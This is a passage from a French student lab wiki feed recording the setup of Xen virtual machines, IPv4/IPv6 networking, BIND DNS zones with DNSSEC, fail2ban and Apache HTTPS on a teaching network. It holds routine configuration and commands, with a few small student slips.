        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12109</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12109"/>
		<updated>2026-02-07T17:44:37Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Vérifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
